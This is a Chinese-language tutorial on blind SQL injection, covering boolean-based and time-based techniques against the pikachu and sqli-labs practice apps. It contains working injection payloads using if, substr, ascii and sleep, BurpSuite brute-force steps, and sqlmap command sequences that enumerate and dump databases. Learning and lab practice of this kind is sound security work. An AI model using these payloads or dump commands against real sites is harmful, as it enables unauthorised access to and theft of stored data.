SQL注入——盲注
前言
在某些情况下后台会使用错误消息屏蔽来屏蔽报错,同时无法根据报错信息来进行判断,在这时我们需要用到盲注。而盲注分为两种,一种为布尔盲注,一种为时间盲注
使用盲注需要用到的三个函数
1.if函数
定义
if函数根据条件的结果为true或false,返回第一个值,或第二个值
语法
if(condition, value_if_true, value_if_false)
#根据条件进行判断,如果条件为真,输出第二个参数,如果为假,输出第三个参数
例子
eg1:select if(500<1000, 5, 10); #输出5
eg:select if(strcmp("hello","bye") = 0, "YES", "NO"); #
#strcmp函数:比较两个字符串,如果这两个字符串相等返回0,如果第一个参数是根据当前的排序小于第二个参数顺序返回-1,否则返回1
eg1:select strcmp("yes","yes"); #输出0
eg2:select strcmp("and","more"); #输出-1
eg3:select strcmp("more","and"); #输出1
2.substr函数
常用方式
① substr(str,pos):截取字符串str,从pos开始的位置,一直截取到最后
② substr (str, pos, len):截取字符串str,从pos位置开始,截取位数为len
参数说明
str为列名/字符串
pos为起始位置;mysql中的起始位置pos是从1开始的;如果为正数,就表示从正数的位置往下截取字符串(起始坐标从1开始),反之如果起始位置pos为负数,那么表示就从倒数第几个开始截取,截取到最后;
len为截取字符个数/长度
3.ascii函数
定义
返回字符串str最左面字符的ASCII代码值,如果str是空字符串,返回0,如果str是
NULL,返回NULL
语法
ascii(str)
布尔盲注
原理
盲注的原因在于之前的方式都是有回显的,可以用order by语句找到回显位,但是在这里是无法获取回显位的,所以在这里使得and前后两个语句形成逻辑上的1,来进行正确的回显,否则则为0不回显
输入的是正确的就返回正确的页面,输入错误的就返回错误的页面,既没有联合注入的报错位,也不能使用报错函数,然后去用sqlmap去跑,如果跑不出来就考虑是否有防火墙,就尝试去绕过防火墙
具体操作
1.手动输入——以pikachu数据库为例
首先我们已经注册了一个username为root,我们输入root会显示出我们的信息
为了方便演示,我们已经知道该数据库的第一个字母为"p",所以我们进行以下操作
root' and if(ascii(substr(database(),1,1))=112,1,0) #
#截取数据库的第一个字母,步长为1,如果它的ascii码为112(字符'p'的ascii码为112),则返回1,否则返回0
如果这里的ascii码正确,那么就正常回显
如果不正确,则回显失败
由于盲注,得到数据库的第一个英文用手去输入ascii慢慢试很麻烦,所以在这里我们和之前一样使用burpsuite对ascii值进行爆破
2.使用BurpSuite——以pikachu数据库为例
抓包,将其送入Intruder,将1修改成2使其对数据库的第二个字母进行爆破,同时设置爆破位为ascii的值,也就是现在112的位置
将其设置为number,设置从100到120,步长为1
注入后发现为ascii=105的数length和其它不一样,而ascii=105即为字母i,就是正确的回显位
其他位数依次类推,但是我们发现还是十分麻烦,而且在实际使用中爆破的范围远比现在演示的要大,时间会更长,所以为了更加方便,使用kali的一款自动化注入工具工具——sqlmap
3.sqlmap进行布尔注入
#1.跑出当前数据库
sqlmap -u [执行注入网址](GET) --current-db(当前数据库) --batch(默认选择是) --threads 10 (使用10线程去注入,最高为10) --level 5 (注入程度,最高为5)--technique B(如果不设置类型则全部尝试一遍)
#2.跑出当前数据
表
sqlmap -u [执行注入网址] -D [选择注入的数据库名] --tables(想要注入它的数据表) --batch --threads 10 --level 5 --technique B
#3.跑出数据列
sqlmap -u [执行注入网址] -D [选择注入的数据库名] -T [选择注入的数据表名] --columns(想要注入它的数据列) --batch --threads 10 --level 5 --technique B
#4.进行数据榨取
sqlmap -u [执行注入网址] -D [选择注入的数据库名] -T [选择注入的数据表名] -C [选择想要注入的数据列名](可多选,逗号分隔) --dump(进行数据榨取) --threads 10 --level 5 --technique B
4.以sqli-labs/Less-8为例使用sqlmap
1.跑出当前数据库
sqlmap -u "http://192.168.223.132/sqli-labs/Less-8/?id=8" --current-db --technique B --batch --threads 10 --level 3
2.跑出当前数据表
sqlmap -u "http://192.168.223.132/sqli-labs/Less-8/?id=8" -D security --tables --batch --threads 10 --level 3 --technique B
3.跑出users数据表的数据列
sqlmap -u "http://192.168.223.132/sqli-labs/Less-8/?id=8" -D security -T users --columns --batch --threads 10 --level 3 --technique B
4.对users表中username数据列进行数据榨取
sqlmap -u "http://192.168.223.132/sqli-labs/Less-8/?id=8" -D security -T users -C usename --dump --batch --threads 10 --level 3 --technique B
时间盲注
原理
无论输入什么,回显结果只有一种,但是我们要判断是否真的回显了
具体操作——以pikachu为例
1.输入正确和错误两种数据,发现回显都是一样的
2.对是否回显进行判断
root' and sleep(100) #
# sleep(100) 使网页休眠100秒后刷新
我们发现网页确实休眠后才刷新,说明我们的命令是正确执行的,以此我们依照布尔注入的思路进行时间注入
3.进行时间注入
判断数据库第一个字母是否ascii码为112,如果正确则执行睡眠操作,否则返回0
root' and if(ascii(substr(database(),1,1))=112,sleep(5),0) #
root' and if(ascii(substr(database(),1,1))='p',sleep(5),0) #
我们发现确实执行了sleep操作,所以我们可以利用sleep函数进行判断:如果数据正确则执行sleep指令后才回显,否则立即回显
以sqli-labs/Less-9为例使用sqlmap
1.判断是否为时间盲注
我们不管输入正确还是错误的参数,都发现没有明确的回显,但输入睡眠时间后发现确实执行了,于是我们判断它为时间注入
2.使用sqlmap进行时间注入
这里用sqlmap时具体操作和布尔注入基本一致,只需要修改technique B改成technique T即可
#1.跑出当前数据库
sqlmap -u [执行注入网址](GET) --current-db(当前数据库) --batch(默认选择是) --threads 10 (使用10线程去注入) --level 5 (注入程度,最高为5)--technique T
#2.跑出当前数据表
sqlmap -u [执行注入网址] -D [选择注入的数据库名] --tables(想要注入它的数据表) --batch --threads 10 --level 5 --technique T
#3.跑出数据列
sqlmap -u [执行注入网址] -D [选择注入的数据库名] -T [选择注入的数据表名] --columns(想要注入它的数据列) --batch --threads 10 --level 5 --technique T
#4.进行数据榨取
sqlmap -u [执行注入网址] -D [选择注入的数据库名] -T [选择注入的数据表名] -C [选择想要注入的数据列名](可多选,逗号分隔) --dump(进行数据榨取) --threads 10 --level 5 --technique T